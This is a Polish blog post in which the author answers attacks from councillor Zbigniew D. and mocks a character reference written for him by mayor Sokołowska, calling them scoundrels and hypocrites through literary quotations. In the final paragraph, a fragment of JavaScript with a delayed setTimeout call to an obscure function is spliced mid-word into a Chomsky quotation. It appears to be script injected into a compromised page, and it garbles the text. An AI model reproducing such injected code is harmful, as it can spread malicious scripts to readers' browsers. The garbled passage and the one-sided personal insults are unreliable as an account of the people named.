Świadectwo moralności, pisane cudzymi słowami.

Po moim wczorajszym wpisie, w którym odniosłem się do ataków na moją osobę w oświadczeniach radnego Zbigniewa D., przyszedł czas na świadectwo moralności, które radnemu D. wystawiła…, a jakże, burmistrz Sokołowska. Moim zdaniem spełniło się stare powiedzenie, że swój swojego zawsze pozna. Niestety burmistrz nie było stać na jakiekolwiek własne słowo, oprócz, że hejtowi mówi „nie”. Naprawdę mówi „nie”?! Użyła cytatu z książki, który miał być takim budującym dla radnego Zbigniewa, który tak się wzruszył, że aż popełnił był komentarz, w doborowym towarzystwie komentujących. Ciekawe co burmistrz Sokołowska napisałaby od siebie, tak żeby ludzie to uszanowali i wiedzieli, że to prawda?

Pozwolicie, że ja też posłużę się cytatem, polskiego noblisty Władysława Reymonta, który napisał: „Nie ma takiego łajdaka, który by chwilami nie macał się po bokach, czy mu nie wyrastają skrzydła anioła”.  To taki cytat dla każdego człowieka, który myśli, że otoczony jest idiotami, którzy jak garstka klakierów sprawdzają, czy te skrzydła mocno się trzymają. Reymont w pełni oddaje stan umysłu łajdaka, który w akcie samouwielbienia nie zważa na to kim jest, kreując się na bożyszcze narodu. Prawda niestety pozostaje osobliwa i mówi, że łajdak pozostanie łajdakiem, niezależnie od tego jakie w jego oczach skrzydła mu urosną. Najgorszym łajdakiem jest ten, kto uważa, że to co robi zasługuje na pochwałę, kiedy w rzeczywistości zasługuje na największe potępienie. Jak bardzo łajdak jest człowiekiem zakłamanym! Jak niegodnym szacunku i współczucia! Reymont, wielki umysł, musiał spotkać na swojej drodze wielu takich łajdaków, że stać go było na tak szorstkie i niestety pełne prawdy stwierdzenie. Widać i w naszych czasach maksyma Reymontowska niestety się broni. Cóż żal, że przyszło nam żyć w czasach, że świadectwa moralności wystawiają innym ludzie, którzy chyba mocno uwierzyli, że skrzydła anioła im urosły. Można powiedzieć jaki anioł takie skrzydła i świadectwo.

Niektórzy ludzie uważają, że zakładając maskę na twarz są w stanie przykryć to, co jest ich prawdziwą naturą. Pozwolicie, że dla nich jeszcze jeden cytat, skoro to takie modne. Tym razem z Janusza Gaudyna: „Niejedna maska tak się zużyła, że widać przez nią twarz”. Wartościowe słowa. Zwłaszcza dla tych, którzy przybierając maskę składali obietnice, których nie spełniają i nie spełnią. Znamy takich, prawda? Maska powoli opadała, aż walnęła z hukiem o ziemię. Dzisiaj nie zostało już nic. Pustka. Niedługo nadejdzie opuszczenie i samotność. Wtedy wyjdzie naprawdę, ile jest się wartym. Ciekawe czy i wtedy słowa Reymonta o łajdactwie się spełnią? Moim zdaniem tak, bo jeśli ktoś do dziś nie rozumie i nie widzi prawdy o sobie to pozostanie tym kim jest. Nawet mimo opuszczenia i wzgardy od ludzi. W końcu królowa jest tylko jedna, nawet jeśli skrzydła są czarne a zamiast korony wyrosły rogi. Bo jak mawiał Noam Chomsky: „Obłudnicy to ci, którzy stosują wobec innych standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardy, których sami nie chcą zaakceptować”. Takich właśnie czasów dożyliśmy, że bylejakość i łajdactwo krzyczy ponad wszystkie inne głosy. I chyba tylko Andrzej się cieszy.